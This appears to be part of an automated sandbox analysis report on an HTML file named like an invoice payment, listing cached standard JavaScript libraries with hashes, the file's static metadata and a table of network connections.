Preview:	...............0..OAb<T...H..K.(.ZR..K.m.....(&X..D.......7.&....o\|.....rpv..}............w=.O..Q..d..h:.M...W.......o.W%.l.........}FE.[.%..M......?..^..]!.d...d.....e....JS.r/....;..LK..H^\..%..".9._.n..zMW2.9.....b.Wa..g..[5.~..]^dQ.5.}.y..]mrv.......w.....+.....9N`...s..E....].-.{..eqUR!...(.`...&hNW......L5Q.A....fHr)...^..}.{Q..J.......X.yF.L...z.....,..^....~b+...z..?..:......T...{.>...nG.u/.k..``...6........KDaJ.3.x.Q..wO&..x.M..G....r...![:..O..-_.A.8+.......1....r.#%..M.QD0.s..H.7%]..d0.[.S.yG...4.l{....%;..?.....%.......`....?.ir..n/.f....J5..9K...ot%.....p.....Y..............C}.........b\|....i".`.W...E..$.~ .......v....2.....J.Dn.@@7.r&..<.qN...T..z..2Q.$..Q[d0....qV..[....u"m...!.Q..(..sy8...D.k..f.4..p0H..R..\&.........M'...xC.$....>..B.\lF1.k...M.T.Q..f=................5....6...k.../........../5.R.D.]..0.QUu..k.k...9..^.d..d..<k-h.\AY..+Z...y..R.......rt.4K...y..Z+..\..T[.Z..2r..C..^w.1#wb..y>..TKz..Nr...a.....B...V.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32180)
Category:	dropped
Size (bytes):	84355
Entropy (8bit):	5.370892371249065
Encrypted:	false
SSDEEP:	1536:AP1vk7i6GUHdXXeyQazBu+4HhiO2wd0uJO1z6/A4fGAub0i4ULgGiyz4npa98Hrr:z4UdWJiz6UAIJ8pa98Hrr
MD5:	7F9FB969CE353C5D77707836391EB28D
SHA1:	62C4042E9EBC691A5372D653B424512A561D1670
SHA-256:	2051D61446D4DBFFB03727031022A08C84528AB44D203A7669C101E5FBDD5515
SHA-512:	7A027F63EDB63FD350F5A2325428745423AC7F27729FC78D9AA072FB2D829C91BE7E9448C57312EA36D63FCB552A9D23A7E34EE67F16B4C5009CD9C6A092A2E3
Malicious:	false
Preview:	/! jQuery v2.1.3 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,functi

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1456
Entropy (8bit):	5.315890115014142
Encrypted:	false
SSDEEP:	24:3zOYsWC+1L5RVc+u/rzOYsWC+Iwy96DGSSfTzOYN7/4TRVc+u/rzOYN7/7kwy96+:jOLo1L5RVc+unOLoIN0o/OC/eRVc+unk
MD5:	BAFFF11EBB297CE090B9D8A2717A7924
SHA1:	A43540FBB395CC229815B47422E4B8074849AF34
SHA-256:	560C6F486ED4BF4245C020392BF35E87F8D711FBFDC886B43EAECE30A4721D57
SHA-512:	57B7E4D53A61E296D42092DF65D0E812E7419DBF183DBD019ADC39554F88BC34F91485E85F449B73B614E896D17F4FDB92741C11E03CAE5D2DE4F4326E466CA0
Malicious:	false
URL:	"https://fonts.googleapis.com/css?family=Gudea:400,700"
Preview:	/* latin-ext /.@font-face {. font-family: 'Gudea';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/gudea/v15/neIFzCqgsI0mp9CG_oC-Nw.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Gudea';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/gudea/v15/neIFzCqgsI0mp9CI_oA.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Gudea';. font-style: normal;. font-weight: 700;. src: url(https://fonts.gstatic.com/s/gudea/v15/neIIzCqgsI0mp9gz25WPFqwKUQ.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 239564
Category:	downloaded
Size (bytes):	64362
Entropy (8bit):	7.9944471351608515
Encrypted:	true
SSDEEP:	1536:QmN4BEWOIa5MQC1nvaR/XsmgxF1xbOfaLYCp:HNIIIa5MQCNvaR7YF3Ofa08
MD5:	7756E68F4EB51A103CA4470EF4BCED27
SHA1:	ACD37EEAE2641EDAC458694A14C6E1A2985E87B6
SHA-256:	1798A9B14876B546BB25C1DC964FA574C02538439B716433F1594AAD03C3B2E1
SHA-512:	AAD771796F26654BAB070E2C59CB85AF802CA19B4040724E45A7CD5ED791C352ECB7E0F283D398E30E0437567D2A55B7B79245E7E7048B9D48671E49C3B62550
Malicious:	false
URL:	http://ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/jquery-ui.min.js
Preview:	...............0..OAb<T...H..K.(.ZR..K.m.....(&X..D.......7.&....o\|.....rpv..}............w=.O..Q..d..h:.M...W.......o.W%.l.........}FE.[.%..M......?..^..]!.d...d.....e....JS.r/....;..LK..H^\..%..".9._.n..zMW2.9.....b.Wa..g..[5.~..]^dQ.5.}.y..]mrv.......w.....+.....9N`...s..E....].-.{..eqUR!...(.`...&hNW......L5Q.A....fHr)...^..}.{Q..J.......X.yF.L...z.....,..^....~b+...z..?..:......T...{.>...nG.u/.k..``...6........KDaJ.3.x.Q..wO&..x.M..G....r...![:..O..-_.A.8+.......1....r.#%..M.QD0.s..H.7%]..d0.[.S.yG...4.l{....%;..?.....%.......`....?.ir..n/.f....J5..9K...ot%.....p.....Y..............C}.........b\|....i".`.W...E..$.~ .......v....2.....J.Dn.@@7.r&..<.qN...T..z..2Q.$..Q[d0....qV..[....u"m...!.Q..(..sy8...D.k..f.4..p0H..R..\&.........M'...xC.$....>..B.\lF1.k...M.T.Q..f=................5....6...k.../........../5.R.D.]..0.QUu..k.k...9..^.d..d..<k-h.\AY..+Z...y..R.......rt.4K...y..Z+..\..T[.Z..2r..C..^w.1#wb..y>..TKz..Nr...a.....B...V.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (65457), with CRLF line terminators
Entropy (8bit):	5.931103346141
TrID:	HyperText Markup Language (15004/1) 83.32% Text - UTF-8 encoded (3003/1) 16.68%
File name:	Proforma.Invoice.Payment.$$.html
File size:	831'717 bytes
MD5:	74e11f2ec909c3bef6801d1ce8cc5edf
SHA1:	fb885a1ec51b4db596eae08a46799042a1bfe3bc
SHA256:	5d4e420c2444c6c92b7e5eceb1f117d64b6a420373ed869ee56a78ba9db39f2c
SHA512:	d9ec5602d3aec850ca802857d72f45902c8e01f61d3a13b528dedac7aecdad2d78b91c6c034d9cbe9c4056a610669f4f1b0acac887d40ec2c5e323c196a49b0b
SSDEEP:	24576:2nUj4xMA9n/TiLAJfxgX6mVgJij8/cDiaqnlZg1zh8:mJTnbi4f+V2qa
TLSH:	0805F1B017907799FA296900F07D1EA816F167AB946213CDF35B3E074F3BE02C19AD96
File Content Preview:	...<!DOCTYPE html>..<html lang="en">....<head>..... <meta charset="UTF-8">.. <link rel="shortcut icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAKQWlDQ1BJQ0MgUHJvZmlsZQAASA2dlndUU9kWh8+9N73QEiIgJfQae

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 15:08:10.903074980 CEST	49675	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:10.918720961 CEST	49674	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:11.043734074 CEST	49673	443	192.168.2.5	23.1.237.91
Aug 28, 2024 15:08:18.966418982 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:18.966440916 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:18.966495991 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:18.966850042 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:18.966893911 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:18.966941118 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:18.967238903 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:18.967262030 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:18.967319965 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:18.967495918 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:18.971641064 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:18.971652031 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:18.971951008 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:18.971981049 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:18.972219944 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:18.972229958 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:18.972287893 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:18.972310066 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:18.972352028 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:18.972902060 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:18.972913980 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:18.973113060 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:18.973119020 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:18.973359108 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:18.978127956 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.425297022 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.425770044 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.425801992 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.427300930 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.427372932 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.428258896 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428278923 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428297043 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428335905 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.428349018 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428360939 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428374052 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428394079 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.428420067 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.428442955 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428456068 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428467035 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428478003 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.428503036 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.428550959 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.430197001 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.433137894 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.433161974 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.433199883 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.433218002 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.433263063 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.433291912 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.434721947 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.436903000 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.437050104 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.437644005 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.437661886 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.438088894 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.438116074 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.439044952 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.439114094 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.439240932 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.439316988 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.440859079 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.440922976 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.441448927 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.441477060 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.442198992 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.442290068 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.442431927 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.442449093 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.442466021 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.442476988 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.450086117 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.457513094 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.457540989 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.458767891 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.458862066 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.460546017 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.460668087 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.460948944 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.460962057 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.494025946 CEST	49712	443	192.168.2.5	151.101.2.137
